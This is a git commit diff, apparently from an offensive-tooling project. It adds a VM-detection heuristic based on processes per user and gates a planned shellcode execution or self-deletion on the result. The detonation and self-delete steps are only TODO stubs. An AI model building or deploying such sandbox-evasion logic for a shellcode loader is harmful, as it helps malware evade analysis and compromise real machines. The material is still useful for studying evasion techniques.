Added VmDetection logic, conditional to main function, and allocated space for ShellcodeDetonation and SelfDelete logic

This commit is contained in:
0xtriboulet
2024-08-11 15:35:45 -04:00
parent fd628c04d4
commit fa5867ec6f
6 changed files with 34 additions and 4 deletions
+4 -1
View File
@@ -9,6 +9,7 @@ ifeq ($(OS), Windows_NT)
BUILDDIR := .\build
INCDIR := .\inc
WILD_OBJ := \*.o
WILD_EXE := \*.exe
CXX := x86_64-w64-mingw32-g++
CXXFLAGS := -I$(INCDIR) -Wall -Wextra -std=c++23 -O1 -Wno-missing-field-initializers -Wno-ignored-qualifiers -DDEBUG
@@ -23,6 +24,7 @@ else
BUILDDIR := ./build
INCDIR := ./inc
WILD_OBJ := /*.o
WILD_EXE := \*.exe
CXX := x86_64-w64-mingw32-g++
CXXFLAGS := -I$(INCDIR) -Wall -Wextra -std=c++23 -O1 -static -Wno-missing-field-initializers -Wno-ignored-qualifiers -DDEBUG -s
@@ -45,7 +47,7 @@ all: $(TARGET)
$(TARGET): $(OBJS)
$(CXX) $(CXXFLAGS) $(OBJS) $(LDFLAGS) -o $@
$(RM) $(BUILDDIR)\*.o
$(RM) $(BUILDDIR)$(WILD_OBJ)
$(BUILDDIR)/%.o: $(SRCDIR)/%.cxx
$(MKDIR)
@@ -53,5 +55,6 @@ $(BUILDDIR)/%.o: $(SRCDIR)/%.cxx
clean:
$(RM) $(BUILDDIR)$(WILD_OBJ)
$(RM) $(BUILDDIR)$(WILD_EXE)
.PHONY: all clean
BIN
View File
Binary file not shown.
+1
View File
@@ -0,0 +1 @@
BOOL VmDetection(float process_count_per_user);
+1
View File
@@ -15,3 +15,4 @@
#include "GetProcessCountViaSnapShot.h"
#include "GetUniqueUserCountViaSnapshot.h"
#include "AbsoluteValue.h"
#include "VmDetection.h"
+15
View File
@@ -0,0 +1,15 @@
#include "intelligence.h"
BOOL VmDetection(float process_count_per_user){
if ((process_count_per_user > 75.3) || (process_count_per_user > 61.45 && process_count_per_user <= 69.3)){
PRINT("[i] Running on bare metal machine!\n");
return TRUE;
}
return FALSE;
}
+13 -3
View File
@@ -11,11 +11,21 @@ int main(){
process_per_user = process_count / user_count;
PRINT("[i] Process Count : %ld\n", process_count);
PRINT("[i] Process Count : %ld\n", process_count );
PRINT("[i] Process Count / User : %f\n" , process_per_user);
PRINT("[i] Users Count : %ld\n", user_count );
PRINT("[i] Users Count : %ld\n", user_count );
if(VmDetection(process_per_user)){
// TODO: ShellcodeDetonation
PRINT("[i] Executing shellcode!\n");
}else{
// TODO: SelfDelete
PRINT("[i] Self-deleting!\n");
}
return 0;
}